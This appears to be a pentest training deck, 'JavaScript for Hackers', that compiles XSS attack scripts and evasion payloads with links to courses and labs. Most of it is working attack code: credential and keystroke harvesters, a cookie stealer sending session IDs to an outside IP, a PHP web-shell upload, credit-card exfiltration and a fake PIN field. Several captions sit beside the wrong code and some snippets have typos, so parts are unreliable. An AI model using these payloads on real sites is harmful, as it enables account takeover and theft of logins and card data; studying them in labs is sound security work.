JavaScript for Hackers

JOAS ANTONIO

Details

This pdf is based on content from PenTest Academy and other professionals, credits will be placed on the respective pages.

LinkedIn: https://www.linkedin.com/in/joas-antonio-dos-santos

Courses JavaScript for PenTest

https://www.pentesteracademy.com/course?id=11

https://www.youtube.com/watch?v=FTeE3OrTNoA

https://www.youtube.com/watch?v=HptfL5WRYF8

https://www.youtube.com/watch?v=-UPRQBQV5Lo

https://www.youtube.com/watch?v=mG0Sm0GQ6ck&list=PL9w1Wxb9TxnO4_0j5NJ7zYG0WBpM8UDLs

https://www.udemy.com/course/ethical-hacking-with-python-javascript-and-kali-linux/

XSS for PenTest – Boku7

Github: https://github.com/boku7

The codes shown in the next slides were created by boku7

XHR-formHarvester.js

```
<script>
username = document.forms[0].elements[0].value;
password = document.forms[0].elements[1].value;
window.setTimeout(function(){
var req = new XMLHttpRequest();
req.open("GET", "http://localhost:8080/?username="+username+"&password="+password+"GETIT?", true);
req.send();
} , 10000);
</script>
```

https://github.com/boku7/XSS-Clientside-Attacks/blob/master/XHR-formHarvester.js

XSS-XHR-CSRF-UploadFile-PHPwebshell.js

https://github.com/boku7/XSS-Clientside-Attacks/blob/master/XSS-XHR-CSRF-UploadFile-PHPwebshell.js

```
function read_body(xhr) {
    var data;
    if (!xhr.responseType || xhr.responseType === "text") {
        data = xhr.responseText;
    } else if (xhr.responseType === "document") {
        data = xhr.responseXML;
    } else if (xhr.responseType === "json") {
        data = xhr.responseJSON;
    } else {
        data = xhr.response;
    }
    return data;
}

var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
    if (xhr.readyState == XMLHttpRequest.DONE) {
    console.log(read_body(xhr));
    }
}

var fd = new FormData();
var content = '<?php phpinfo(); ?>';
var blob = new Blob([content], { type: "application/x-php"});
fd.append("userfile", blob, "testing.php");
fd.append("url", "http://");
console.log(fd);

xhr.open('POST', 'http://172.16.65.130/calendar/insert_img.php?upload=file', true);

xhr.send(fd);
```

XSS-XHR-WebShellUpload.js

https://github.com/boku7/XSS-Clientside-Attacks/blob/master/XSS-XHR-WebShellUpload.js

```
<script>
function read_body(xhr) {
    var data;
    if (!xhr.responseType || xhr.responseType === "text") {
        data = xhr.responseText;
    } else if (xhr.responseType === "document") {
        data = xhr.responseXML;
    } else if (xhr.responseType === "json") {
        data = xhr.responseJSON;
    } else {
        data = xhr.response;
    }
    return data;
}

var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
    if (xhr.readyState == XMLHttpRequest.DONE) {
    console.log(read_body(xhr));
    }
}

var fd = new FormData();
var content = '<?php echo shell_exec($_GET[\'cmd\']);?>';
var blob = new Blob([content], { type: "application/x-php"});
fd.append("userfile", blob, "webshell.php");
fd.append("url", "http://");
console.log(fd);

xhr.open('POST', 'http://172.16.65.130/calendar/insert_img.php?upload=file', true);

xhr.send(fd);
</script>
```

XSS-XHR.js

https://github.com/boku7/XSS-Clientside-Attacks/blob/master/XSS-XHR.js

```
function read_body(xhr) {
    var data;
    if (!xhr.responseType || xhr.responseType === "text") {
        data = xhr.responseText;
    } else if (xhr.responseType === "document") {
        data = xhr.responseXML;
    } else if (xhr.responseType === "json") {
        data = xhr.responseJSON;
    } else {
        data = xhr.response;
    }
    return data;
}

var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
    if (xhr.readyState == XMLHttpRequest.DONE) {
    console.log(read_body(xhr));
    }
}
var uri = "http://172.16.65.130/calendar/insert_img.php?upload=file";
xhr.open("GET", uri, true);
xhr.send();
```

alert-cookie.js

https://github.com/boku7/XSS-Clientside-Attacks/blob/master/alert-cookie.js

```
<script>
alert(document.cookie);
</script>
```

autoComplete-Harvester.js

https://github.com/boku7/XSS-Clientside-Attacks/blob/master/autoComplete-Harvester.js

```
<script>
window.setTimeout(function(){
document.forms[0].action = 'http://localhost:4444';
document.forms[0].submit();
} , 10000);
</script>
```

bannerMod-deface.js

https://github.com/boku7/XSS-Clientside-Attacks/blob/master/bannerMod-deface.js

```
<script>
    var input = document.createElement("h2");
    input.innerHTML = "Website is down. Please visit SecurityTube.net";
    document.forms[0].parentNode.appendChild(input);
    document.forms[0].parentNode.removeChild(document.forms[0]);
</script>
```

bannerMod-deface.js

https://github.com/boku7/XSS-Clientside-Attacks/blob/master/bannerMod-deface.js

```
<script>
    var input = document.createElement("h2");
    input.innerHTML = "Website is down. Please visit SecurityTube.net";
    document.forms[0].parentNode.appendChild(input);
    document.forms[0].parentNode.removeChild(document.forms[0]);
</script>
```

changeAllLinks.js

https://github.com/boku7/XSS-Clientside-Attacks/blob/master/changeAllLinks.js

```
<script>
        var links = document.getElementsByTagName("a");
        for (i=0; i<links.length; i++)
        {
                links[i].href = "http://PentesterAcademy.com.topics";
                links[i].innerHTML = "Links Modified";
        }
</script>
```

clickJacker.js

https://github.com/boku7/XSS-Clientside-Attacks/blob/master/clickJacker.js

```
<script>
    function catchClick () {
        alert("Caught your Click!");
        location.href = "localhost:4444";
    }
    document.body.addEventListener('click', catchClick, true);
</script>
```

cookieHarvester.js

https://github.com/boku7/XSS-Clientside-Attacks/blob/master/clickJacker.js

```
<script>
function InterceptForm() {
new Image().src = "http://172.30.12.58:4444/?sessionID="+document.cookie;
}
window.addEventListener("load", InterceptForm());
</script>
```

eventListener-alert.js

https://github.com/boku7/XSS-Clientside-Attacks/blob/master/eventListener-alert.js

```
<script>
    document.forms[0].onsubmit = function demo () {
    var pass = document.forms[0].elements[1].value;
    alert(pass);
    }
</script>
```

formHijack-credHarverter.js

https://github.com/boku7/XSS-Clientside-Attacks/blob/master/formHijack-credHarverter.js

```
<script>
        function InterceptForm() {
                var username = document.forms[0].elements[0].value;
                var password = document.forms[0].elements[1].value;
                new Image().src = "http://localhost:4444/?username="+username+"&password="+password;
        }
        document.forms[0].onsubmit = InterceptForm;
</script>
```

js2remoteScriptSource.js

https://github.com/boku7/XSS-Clientside-Attacks/blob/master/js2remoteScriptSource.js

```
var newtag = document.createElement("script");
newtag.type = "text/javascript";
newtag.src = "http://demofilespa.s3.amazonaws.com/jfptest.js";
document.body.appendChild(newtag);
```

keylogger-keyHarvester.js

https://github.com/boku7/XSS-Clientside-Attacks/blob/master/keylogger-keyHarvester.js

```
<script>
    document.onkeypress = function KeyLogger(inp){
        key_pressed = String.fromCharCode(inp.which);
        new Image().src = "http://localhost:9000/?"+key_pressed;
    }
</script>
```

remote-alertCookie.js

https://github.com/boku7/XSS-Clientside-Attacks/blob/master/remote-alertCookie.js

```
window.addEventListener("load", function() { alert(document.cookie);});
```

remote-onSubmit-FormJack-XHR.js

https://github.com/boku7/XSS-Clientside-Attacks/blob/master/remote-onSubmit-FormJack-XHR.js

```
document.forms[0].onsubmit = function sendCreds(){
    var username = document.forms[0].elements[1].value;
    var password = document.forms[0].elements[2].value;
    var uri = "http://127.0.0.1:8080/get.php?username="+username+"&password="+password;
    xhr = new XMLHttpRequest();
    xhr.open("GET", uri, true);
    xhr.send();
};
```

remoteScriptSource.js

https://github.com/boku7/XSS-Clientside-Attacks/blob/master/remoteScriptSource.js

```
<script src="http://127.0.0.1:4444/external.js"></script>
```

replaceImage.js

https://github.com/boku7/XSS-Clientside-Attacks/blob/master/replaceImage.js

```
<script>
document.getElementsByTagName("img")[0].src = "http://www.google.com/images/srpr/logo11w.png";
</script>
```

Urlencoder.py

https://github.com/boku7/XSS-Clientside-Attacks/blob/master/urlencoder.py

```
#!/usr/bin/python
import sys
import urllib


input = ''
for line in sys.stdin:
    input += line

#print input,

#for line in sys.stdin:
#    input += str(sys.stdout.write(line))

#Input = sys.argv[1]
#print sys.argv

print urllib.quote(input)
```

JavaScript Collection

https://github.com/bupt007/pentester-for-javascript-

https://github.com/pownjs/pown

https://github.com/gabemarshall/Brosec

https://github.com/roccomuso/netcat

https://github.com/Shmakov/Honeypot

https://github.com/silverwind/default-gateway

https://github.com/cybersecurity-acmgmrit/Javascript-Pentesting

https://github.com/HynekPetrak/javascript-malware-collection

https://github.com/geeksonsecurity/js-malicious-dataset

https://github.com/CapacitorSet/box-js

https://github.com/koto/owasp-malicious-javascript

JavaScript Doom XSS

Source: An input that could be controlled by an external (untrusted) source.

```
document.URL
document.documentURI
document.URLUnencoded (IE 5.5 or later Only)
document.baseURI
location
location.href
location.search
location.hash
location.pathname
document.cookie
document.referrer
window.name
history.pushState()
history.replaceState()
localStorage
sessionStorage
```

JavaScript Doom XSS

Sink: A potentially dangerous method that could lead to a vulnerability. In this case a DOM Based XSS.

```
eval
Function
setTimeout
setInterval
setImmediate
execScript
crypto.generateCRMFRequest
ScriptElement.src
ScriptElement.text
ScriptElement.textContent
ScriptElement.innerText
anyTag.onEventName
document.write
document.writeln
anyElement.innerHTML
Range.createContextualFragment
window.location
document.location
```

Awesome Payloads

```
<A/hREf="j%0aavas%09cript%0a:%09con%0afirm%0d``">z
<d3"<"/onclick="1>[confirm``]"<">z
<d3/onmouseenter=[2].find(confirm)>z
<details open ontoggle=confirm()>
<script y="><">/*<script* */prompt()</script
<w="/x="y>"/ondblclick=`<`[confir\u006d``]>z
<a href="javascript%26colon;alert(1)">click
<a href=javas&#99;ript:alert(1)>click
<script/"<a"/src=data:=".<a,[8].some(confirm)>
<svg/x=">"/onload=confirm()//
<--`<img/src=` onerror=confirm``> --!>
<svg%0Aonload=%09((pro\u006dpt))()//
<sCript x>(((confirm)))``</scRipt x>
<svg </onload ="1> (_=prompt,_(1)) "">
<!--><script src=//14.rs>
<embed src=//14.rs>
<script x=">" src=//15.rs></script>
<!'/*"/*/'/*/"/*--></Script><Image SrcSet=K */; OnError=confirm`1` //>
<iframe/src \/\/onload = prompt(1)
<x oncut=alert()>x
<svg onload=write()>
```

Awesome Payloads

Some less detected event handlers

```
ontoggle
onauxclick
ondblclick
oncontextmenu
onmouseleave
ontouchcancel
```

Awesome Payloads

Some HTML Tags that you will be using

https://github.com/s0md3v/AwesomeXSS

```
img
svg
body
html
embed
script
object
details
isindex
iframe
audio
video
```

Awesome Payloads

Some HTML Tags that you will be using

https://github.com/s0md3v/AwesomeXSS

```
img
svg
body
html
embed
script
object
details
isindex
iframe
audio
video
```

JSHacking – Ankur8931

Github: https://github.com/ankur8931

The codes shown in the next slides were created by Ankur8931

JSHacking – Ankur8931

1. form-submit.js - Hijacking form submit
2. social-engg.js - Social Engineering exploit to hijack form submit and redirect to different page
3. mouse-click.js - Capturing mouse click events and redirecting to different page
4. keylogger.js - loggin keystrokes to SimpleHTTPServer running on port 9000
5. event-listener.js - Listen to form submit event and show password in the pop up alert box
6. external.js - running external js from script source to bypass any code limitation checks
7. external-noscript.js - include external javascript without using script tags
8. replace-img.js - replace old image by new image in JS
9. autocomplete-timer.js - wait for 10s and submit the form to the attacker server
10. xmlhttpreq.js - XML http request to send form submit parameters to the attacker server
11. xmlhttpreq-fetch.js - Fetch email from provided URL using XML http request
12. data-exfil.js - Exfiltration of Credit card information to the attacker server
13. csrf-token.js - Extract CSRF token and submit to web
14. csrf-token-uid.js - Extract the email using UID, and CSRF token. Display the email address on the page.
15. html-parsing.js - Parse HTML response by exploiting xss and insert addess into div result
16. multi-level-html.js - Extract credit card number via multi-level HTML documents and post to the server
17. multi-json.js - Multi level JSON parsing and displaying information in the div element result
18. multi-xml.js - Multi level XML parsing and displaying information in div element result

autocomplete-timer.js

```
<script>
 window.setInterval( function() {
  document.forms[0].action = 'http://localhost:9000';
  document.forms[0]submit();
 }, 10000);
</script>
```

csrf-token-uid.js

```
<script>
  xhr = new XMLHttpRequest();

  xhr.onreadystatechange = function () {
     if(chr.readyState == 4 && xhr.status == 200) {
           document.getElementById('result').innerHTML = xhr.responseText;
     }
  };

  uid = document.getElementById("uid").innerHTML.split(':')[1];
  csrf = document.getElementById("csrf").innerHTML.split(':')[1];

  xhr.open('GET','/lab/webapp/jfp/17/email?name=john&uid='+uid+'&csrf_token='+csrf, true);
  xhr.send('');

</script>
```

```
<script>
  xhr = new XMLHttpRequest();

  xhr.onreadystatechange = function () {
     if(chr.readyState == 4 && xhr.status == 200) {
           document.getElementById('result').innerHTML = xhr.responseText;
     }
  };

  var token =  window.location.search.split('&')[1];
  xhr.open('GET','/lab/webapp/jfp/16/email?name=john&'+token, true);
  xhr.send('');

</script>
```

csrf-token.js

```
<script>
  xhr = new XMLHttpRequest();

  xhr.onreadystatechange = function () {
     if(chr.readyState == 4 && xhr.status == 200) {
           document.getElementById('result').innerHTML = xhr.responseText;
     }
  };

  var token =  window.location.search.split('&')[1];
  xhr.open('GET','/lab/webapp/jfp/16/email?name=john&'+token, true);
  xhr.send('');

</script>
```

csrf-token.js

```
<script>
 xhr = new XMLHttpRequest();

 xhr.onreadystatechange = function () {
   if(xhr.readyState ==4 && xhr.status == 200) {
       alert(xhr.responseText);
       new Image().src = 'http://localhost:8000/?cc='+xhr.responseText;
   }
 };

 xhr.open('POST', '/lab/webapp/jfp/15/cardstore', true);
 xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
 xhr.send('user=john');

</script>
```

data-exfil.js

```
" onmouseover ="

document.forms[0].onsubmit = function formSubmit() {
  var pass = document.forms[0].elements[1].value;
  alert(pass);

}
```

eventlistener.js

```
var newtag = document.createElement('script');
newtag.type = 'text/javascript';
newtag.src = 'http://demofilespa.s3.amazonaws.com/jfptest.js';
document.body.appendChild(newtag);
```

external-noscript.js

```
<script>

var pin = document.createElement("input");

input.setAttribute("type", "text");
input.setAttribute("class", "input-block-level");
input.setAttribute("placeholder", "ATM PIN");
input.setAttribute("name", "pin");

var previous = document.forms[0].elements[0];

document.forms[0].insertBefore(pin, previous);
document.forms[0].action = 'http://localhost:9000/';

</script>
```

form-submit.js

```
<script>
 xhr = new XMLHttpRequest();

xhr.onreadystatechange = function() {
  if(xhr.readyState == 4 && xhr.status == 200) {
    parser = new DOMParser();
    htmlRes = parser.parseFromString(text,'text/html');
    document.getElementById('result').innerHTML = htmlRes.getElementById('address').innerHTML;
  }
}

 xhr.open('GET','/lab/webapp/jfp/18/',true);
 xhr.send('');
</script>
```

htmlparsing.js

```
<script>
document.onkeypress = function.KeyLogger(key) {
    key_pressed = String.fromCharCode(key.which);
    new Image().src = 'http://localhost:9000/?'+key_pressed;
}
</script>
```

keylogger.js

```
<script>


var para = document.createElement("h2");
para.innerHTML = "Website is down! Please visit SecurityTube.net";
document.forms[0].parentNode.appendChild(para);
document.forms[0].parentNode.removeChild(document.forms[0]);
</script>
```

Social-engg.js

```
<script>
document.forms[0].autocomplete = "on";

window.setTimeout( function() {
  var user = document.forms[0].elements[0].value;
  var pass = document.forms[0].elements[1].value;
  var xhr = new XMLHttpRequest();
  xhr.open('GET', 'http://localhost:5000/?username='+user+'password='+pass);
  xhr.send();
 }, 5000);

</script>
```

Xmlhttpreq.js

```
var spawn = require('child_process').spawn
var ls    = spawn('ls', ['-l'])
alert(ls)
```

System-command.js

Awesome XSS

https://github.com/s0md3v/AwesomeXSS

https://github.com/humblelad/Awesome-XSS-Payloads

https://owasp.org/www-community/xss-filter-evasion-cheatsheet

https://book.hacktricks.xyz/pentesting-web/xss-cross-site-scripting

JavaScript Hacking

https://www.blackhat.com/presentations/bh-europe-07/Sotirov/Presentation/bh-eu-07-sotirov-apr19.pdf

https://www.blackhat.com/presentations/bh-usa-07/Sotirov/Whitepaper/bh-usa-07-sotirov-WP.pdf

https://www.blackhat.com/docs/asia-14/materials/Nafeez/Asia-14-Nafeez-JS-Suicide-Using-JavaScript-Security-Features-To-Kill-JS-Security.pdf

https://www.blackhat.com/docs/us-17/wednesday/us-17-Randolph-Delivering-Javascript-to-World-Plus-Dog.pdf

https://www.blackhat.com/docs/eu-15/materials/eu-15-Stock-Your-Scripts-In-My-Page-What-Could-Possibly-Go-Wrong.pdf

https://i.blackhat.com/USA-20/Wednesday/us-20-Park-NoJITsu-Locking-Down-JavaScript-Engines.pdf

https://www.blackhat.com/docs/us-15/materials/us-15-Silvanovich-Attacking-ECMA-Script-Engines-With-Redefinition-wp.pdf

https://www.blackhat.com/presentations/bh-usa-07/Feinstein_and_Peck/Presentation/bh-usa-07-feinstein_and_peck.pdf

https://www.blackhat.com/presentations/bh-jp-06/BH-JP-06-Moniz.pdf

https://i.blackhat.com/eu-20/Thursday/eu-20-Heyes-Portable-Data-ExFiltration-XSS-For-PDFs-2-wp.pdf

https://www.blackhat.com/docs/us-17/thursday/us-17-Lekies-Dont-Trust-The-DOM-Bypassing-XSS-Mitigations-Via-Script-Gadgets.pdf

Bug Bounty JavaScript for Hackers

https://medium.com/geekculture/analysing-javascript-files-for-bug-bounty-hunters-71e2727abebe

https://hackerone.com/nodejs?type=team

https://thehackerish.com/javascript-enumeration-for-bug-bounty-hunters/

https://www.youtube.com/watch?v=8sfc0PlVyWA

https://www.youtube.com/watch?v=nkznsNxDM5k

https://www.youtube.com/watch?v=G2pWVBgCjvg

https://www.youtube.com/watch?v=A3eqNoYUdGc

https://www.bugbountyhunter.com/guides/?type=javascript_files

https://www.securecoding.com/blog/monitoring-javascript-files-for-bugbounty/

https://infosecwriteups.com/bug-bounty-tips-tricks-js-javascript-files-bdde412ea49d

https://research.securitum.com/art-of-bug-bounty-a-way-from-js-file-analysis-to-xss/

Bug Bounty JavaScript for Hackers

https://bitthebyte.medium.com/javascript-for-bug-bounty-hunters-part-1-dd08ed34b5a8

https://www.youtube.com/watch?v=vUrx113ZtEw

https://infosecwriteups.com/javascript-files-recon-23ac49fe6120

https://portswigger.net/daily-swig/facebook-offers-40k-for-javascript-vulnerabilities-in-bug-bounty-program

https://jsoverson.medium.com/hacking-javascript-with-javascript-6adbeaba22e9

Laboratory

https://portswigger.net/web-security/cross-site-scripting/reflected/lab-html-context-nothing-encoded

https://github.com/paralax/xss-labs

https://pentesterlab.com/exercises/xss_and_mysql_file/course

https://challenge-0721.intigriti.io/

https://www.youtube.com/watch?v=IhPsBMBDFcg

https://www.youtube.com/watch?v=Wbovgw3Qxxc

https://blog.isiraadithya.com/intigriti-0321-xss-challenge-writeup/